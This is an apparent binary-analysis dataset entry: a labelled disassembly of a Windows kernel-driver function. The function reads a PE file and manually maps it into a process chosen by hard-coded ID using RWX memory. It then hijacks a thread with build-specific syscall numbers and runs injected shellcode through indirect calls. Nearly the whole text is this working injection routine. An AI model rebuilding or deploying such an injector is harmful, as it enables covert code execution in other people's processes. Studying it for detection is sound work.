Function at 0x180001030
Capabilities:
Allocate or change rwx memory
Attach user process memory
Execute shellcode via indirect call
Find process by pid
Get file attributes
Parse pe header
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
push rbp
push rbx
push r12
lea rbp, [rsp - 0x6b0]
sub rsp, 0x7b0
xor r12d, r12d
mov dword [rbp + 0x1f0], 0x10000b
xorps xmm0, xmm0
mov qword [rbp + 0x6e0], r12
xor eax, eax
mov qword [rsp + 0x70], r12
lea rdx, [rbp + 0x6e8]
mov qword [rbp - 0x18], rax
mov ecx, 0x5f70
mov qword [rsp + 0x78], r12
movups xmmword [rbp - 0x28], xmm0
mov qword [rsp + 0x68], r12
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
xor edx, edx
xor ecx, ecx
mov ebx, eax
test eax, eax
jns 0x1800010b2
mov r9d, eax
lea r8, [0x1800053e8]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
add rsp, 0x7b0
pop r12
pop rbx
pop rbp
ret
mov r9, qword [rbp + 0x6e8]
lea r8, [0x180005408]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
lea rdx, [0x180005830]
lea rcx, [rbp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [rsp + 0x50], r12d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], r12
lea r9, [rbp - 0x38]
mov dword [rsp + 0x40], 0x20
lea r8, [rbp + 0x40]
mov dword [rsp + 0x38], 1
lea rcx, [rbp + 0x6e0]
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov qword [rsp + 0x20], r12
mov dword [rbp + 0x40], 0x30
mov qword [rbp + 0x48], r12
mov dword [rbp + 0x58], 0x240
mov qword [rbp + 0x50], rax
movdqu xmmword [rbp + 0x60], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
xor edx, edx
xor ecx, ecx
mov ebx, eax
test eax, eax
jns 0x180001167
mov r9d, eax
lea r8, [0x180005420]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
add rsp, 0x7b0
pop r12
pop rbx
pop rbp
ret
mov r9, qword [rbp + 0x6e0]
lea r8, [0x180005440]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp + 0x6e0]
lea r8, [rbp - 0x28]
mov r9d, 0x18
mov dword [rsp + 0x20], 5
lea rdx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov ebx, eax
test eax, eax
jns 0x1800011d3
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov r9d, ebx
lea r8, [0x180005458]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
add rsp, 0x7b0
pop r12
pop rbx
pop rbp
ret
mov qword [rsp + 0x7d0], rsi
lea r8, [0x180005478]
mov qword [rsp + 0x7a8], rdi
xor edx, edx
mov qword [rsp + 0x798], r14
xor ecx, ecx
mov r14, qword [rbp - 0x20]
mov r9, r14
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rdi, rax
test rax, rax
je 0x180001223
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.180002fc0
mov r9, rdi
lea r8, [0x180005490]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp + 0x6e0]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], r12
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], r14d
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x40], r12
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov esi, eax
test eax, eax
jns 0x18000129f
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov r9d, esi
lea r8, [0x1800054b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
mov r9, rdi
lea r8, [0x1800054d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, 0x5a4d
cmp word [rdi], ax
je 0x1800012e2
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
lea r8, [0x1800054e8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
cmp dword [rbx], 0x4550
je 0x180001316
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
lea r8, [0x180005500]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
mov eax, 0x2000
test word [rbx + 0x16], ax
jne 0x180001346
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
lea r8, [0x180005518]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
mov eax, dword [rbx + 0x50]
lea rdx, [rbp - 0x80]
mov rcx, qword [rbp + 0x6e8]
mov qword [rsp + 0x60], rax
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x60]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x70]
lea rcx, [r8 - 1]
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov esi, eax
test eax, eax
js 0x18000148a
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rsp + 0x70]
lea r8, [0x180005558]
mov qword [rsp + 0x28], rax
mov r9d, 8
xor edx, edx
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x80]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, qword [rsp + 0x70]
mov rdx, rdi
mov r8d, r14d
call fcn.180002d00
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov esi, r12d
cmp r12w, word [rbx + 6]
jae 0x180001443
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x80]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov eax, esi
lea rcx, [rax + rax*4]
mov edx, dword [rbx + rcx*8 + 0x11c]
mov r8d, dword [rbx + rcx*8 + 0x118]
add rdx, rdi
mov ecx, dword [rbx + rcx*8 + 0x114]
add rcx, qword [rsp + 0x70]
call fcn.180002d00
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
movzx eax, word [rbx + 6]
inc esi
cmp esi, eax
jb 0x1800013f5
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x60], 0x1000
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x60]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x68]
lea rcx, [r8 - 1]
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov esi, eax
test eax, eax
jns 0x1800014b2
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov r9d, esi
lea r8, [0x180005530]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rsp + 0x68]
lea r8, [0x180005570]
mov r9d, 8
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rsp + 0x70]
lea r8, [0x180005580]
movsxd rax, dword [rdi + 0x3c]
add rax, rcx
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rax
mov eax, dword [rbx + 0xb0]
add rax, rcx
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x70], rax
mov eax, dword [rbx + 0x90]
add rax, rcx
mov rcx, qword [rbp + 0x6e8]
mov qword [rbp - 0x68], rax
call fcn.1800022f0
mov qword [rbp - 0x60], rax
mov rdi, rax
test rax, rax
jne 0x180001556
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
xor r9d, r9d
lea r8, [0x1800055b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
mov rcx, qword [rbp + 0x6e8]
lea r8, [0x1800055e0]
call fcn.1800022f0
mov qword [rbp - 0x58], rax
mov rbx, rax
test rax, rax
jne 0x18000159d
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
xor r9d, r9d
lea r8, [0x1800055f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, esi
jmp 0x180001d3e
mov r9, rdi
lea r8, [0x180005620]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9, rbx
lea r8, [0x180005650]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, qword [rsp + 0x68]
lea rcx, [rbp - 0x10]
movups xmm0, xmmword [rbp - 0x80]
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm0
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, qword [rsp + 0x68]
lea rdx, [0x1800024c0]
add rcx, 0x30
mov r8d, 0xfd0
call fcn.180002d00
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x60], 0x1000
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x60]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x78]
lea rcx, [r8 - 1]
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov r14d, eax
test eax, eax
jns 0x1800016a0
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov r9d, r14d
lea r8, [0x180005530]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x180001d3b
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rsp + 0x78]
lea r8, [0x180005680]
mov r9d, 8
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9d, 0x4124
lea r8, [0x180005690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
lea rdx, [rbp - 0x50]
mov ecx, 0x4124
call qword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov ebx, eax
test eax, eax
jns 0x18000171f
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov r9d, ebx
lea r8, [0x1800056b8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
jmp 0x180001d3e
mov r9, qword [rbp - 0x50]
lea r8, [0x1800056e0]
xor edx, edx
mov qword [rsp + 0x790], r15
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp + 0x70]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
movdqa xmm1, xmmword [0x180005890]
lea r9, [rbp + 0x30]
xorps xmm0, xmm0
mov qword [rbp - 0x80], 0x30
lea r8, [rbp - 0x80]
mov qword [rbp - 0x68], r12
mov edx, 0x1fffff
mov qword [rsp + 0x60], r12
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x78], r12
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x70], r12
movdqu xmmword [rbp + 0x30], xmm1
call qword [sym.imp.ntoskrnl.exe_ZwOpenThread]
mov r15, qword [rsp + 0x60]
lea rcx, [rbp + 0x70]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov r9, r15
lea r8, [0x1800056f8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8d, 0x114
call fcn.180002fc0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
mov edx, dword [rbp + 0xac]
lea eax, [rdx - 0x47ba]
cmp eax, 1
jbe 0x18000183c
lea eax, [rdx - 0x4a61]
cmp eax, 3
jbe 0x180001835
cmp edx, 0x4f7c
jne 0x180001802
mov ecx, 0x1c3
jmp 0x180001841
cmp edx, 0x55f0
jne 0x180001811
mov ecx, 0x1c7
jmp 0x180001841
cmp edx, 0x5852
jne 0x180001820
mov ecx, 0x1cc
jmp 0x180001841
cmp edx, 0x621b
mov ecx, 0x1b6
mov eax, 0x1ce
cmove ecx, eax
jmp 0x180001841
mov ecx, 0x1bc
jmp 0x180001841
mov ecx, 0x1b6
call fcn.180002610
xor edx, edx
mov rcx, r15
call rax
mov r9, r15
lea r8, [0x180005710]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
lea rsi, [0x180005270]
nop dword [rax + rax]
lea r8, [rbp - 0x48]
mov qword [rbp - 0x48], 0xffffffffffffd8f0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
mov rdi, qword [rbp - 0x50]
xor ecx, ecx
call fcn.180002b50
mov rbx, rax
test rax, rax
je 0x1800019c6
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8d, 0x114
call fcn.180002fc0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
mov ecx, dword [rbp + 0xac]
cmp ecx, 0x42ee
jne 0x1800018d8
lea rdx, [0x180005250]
jmp 0x18000196d
cmp ecx, 0x4563
jne 0x1800018ec
lea rdx, [0x180005250]
jmp 0x18000196d
cmp ecx, 0x47ba
jne 0x1800018fd
lea rdx, [0x180005250]
jmp 0x18000196d
cmp ecx, 0x47bb
jne 0x18000190e
lea rdx, [0x180005250]
jmp 0x18000196d
cmp ecx, 0x4a61
jne 0x18000191b
mov rdx, rsi
jmp 0x18000196d
cmp ecx, 0x4c71
jne 0x180001928
mov rdx, rsi
jmp 0x18000196d
cmp ecx, 0x4a62
jne 0x180001935
mov rdx, rsi
jmp 0x18000196d
cmp ecx, 0x4a63
jne 0x180001942
mov rdx, rsi
jmp 0x18000196d
cmp ecx, 0x4a64
jne 0x18000194f
mov rdx, rsi
jmp 0x18000196d
cmp ecx, 0x4ed4
jne 0x18000195c
mov rdx, rsi
jmp 0x18000196d
cmp ecx, 0x55f0
lea rdx, [0x1800052b0]
cmovne rdx, rsi
mov rcx, rbx
call fcn.180002080
mov r9, rax
lea r8, [0x1800052f0]
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9d, 1
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rdx, [rbp + 0x1c0]
mov rcx, rdi
call rbx
mov r9d, eax
lea r8, [0x180005728]
xor edx, edx
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
test ebx, ebx
js 0x180001870
jmp 0x1800019dd
mov r9d, 0x80
lea r8, [0x180005728]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov edx, 0x10000
call fcn.180001de0
mov r9, rax
lea r8, [0x180005748]
xor edx, edx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9, rsi
lea r8, [0x180005758]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
xor edx, edx
mov r8d, 0x10000
mov rcx, rsi
call fcn.180002fc0
mov r9, rsi
lea r8, [0x180005748]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
movups xmm0, xmmword [section..data]
mov r9, rsi
lea r8, [0x180005748]
xor edx, edx
xor ecx, ecx
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x180004010]
movups xmmword [rsi + 0x10], xmm1
movups xmm0, xmmword [0x180004020]
movups xmmword [rsi + 0x20], xmm0
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
lea rdi, [rsi + 0x12c]
mov rbx, rsi
cmp rsi, rdi
jae 0x180001aea
mov qword [rsp + 0x7a0], r13
movabs r12, 0xcccccccccccccccc
movabs r13, 0xaaaaaaaaaaaaaaaa
mov rax, qword [rbx]
cmp rax, r12
jne 0x180001ab5
lea r8, [0x180005768]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rax, qword [rsp + 0x68]
jmp 0x180001ad4
cmp rax, r13
jne 0x180001ad7
lea r8, [0x180005788]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rax, qword [rsp + 0x68]
add rax, 0x30
mov qword [rbx], rax
inc rbx
cmp rbx, rdi
jb 0x180001a95
mov r13, qword [rsp + 0x7a0]
xor r12d, r12d
mov rcx, qword [rbp + 0x6e8]
lea rdx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov r9, qword [rsp + 0x78]
lea r8, [0x1800057b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9, rsi
lea r8, [0x180005748]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9d, 8
lea r8, [0x1800057c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9d, 0x30
lea r8, [0x1800057d8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
movups xmm0, xmmword [rsi]
mov rax, qword [rsp + 0x78]
lea rcx, [rbp - 0x10]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rsi + 0x20]
movups xmmword [rax + 0x20], xmm0
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, qword [rsp + 0x78]
lea rsi, [0x180005340]
mov qword [rbp + 0x2b8], rax
nop dword [rax + rax]
lea r8, [rbp - 0x48]
mov qword [rbp - 0x48], 0xfffffffffff0bdc0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
mov rdi, qword [rbp - 0x50]
xor ecx, ecx
call fcn.180002b50
mov rbx, rax
test rax, rax
je 0x180001ce6
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8d, 0x114
call fcn.180002fc0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
mov ecx, dword [rbp + 0xac]
cmp ecx, 0x42ee
jne 0x180001bf8
lea rdx, [0x180005320]
jmp 0x180001c8d
cmp ecx, 0x4563
jne 0x180001c0c
lea rdx, [0x180005320]
jmp 0x180001c8d
cmp ecx, 0x47ba
jne 0x180001c1d
lea rdx, [0x180005320]
jmp 0x180001c8d
cmp ecx, 0x47bb
jne 0x180001c2e
lea rdx, [0x180005320]
jmp 0x180001c8d
cmp ecx, 0x4a61
jne 0x180001c3b
mov rdx, rsi
jmp 0x180001c8d
cmp ecx, 0x4c71
jne 0x180001c48
mov rdx, rsi
jmp 0x180001c8d
cmp ecx, 0x4a62
jne 0x180001c55
mov rdx, rsi
jmp 0x180001c8d
cmp ecx, 0x4a63
jne 0x180001c62
mov rdx, rsi
jmp 0x180001c8d
cmp ecx, 0x4a64
jne 0x180001c6f
mov rdx, rsi
jmp 0x180001c8d
cmp ecx, 0x4ed4
jne 0x180001c7c
mov rdx, rsi
jmp 0x180001c8d
cmp ecx, 0x55f0
lea rdx, [0x180005380]
cmovne rdx, rsi
mov rcx, rbx
call fcn.180002080
mov r9, rax
lea r8, [0x1800053b8]
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov r9d, 1
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rdx, [rbp + 0x1c0]
mov rcx, rdi
call rbx
mov r9d, eax
lea r8, [0x1800057f0]
xor edx, edx
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
test ebx, ebx
js 0x180001b90
jmp 0x180001cfd
mov r9d, 0x80
lea r8, [0x1800057f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov ecx, 0x52
call fcn.180002610
xor edx, edx
mov qword [0x180004048], rax
mov rcx, r15
call rax
lea r8, [0x180005810]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov r15, qword [rsp + 0x790]
mov eax, r14d
mov rdi, qword [rsp + 0x7a8]
mov rsi, qword [rsp + 0x7d0]
mov r14, qword [rsp + 0x798]
add rsp, 0x7b0
pop r12
pop rbx
pop rbp
ret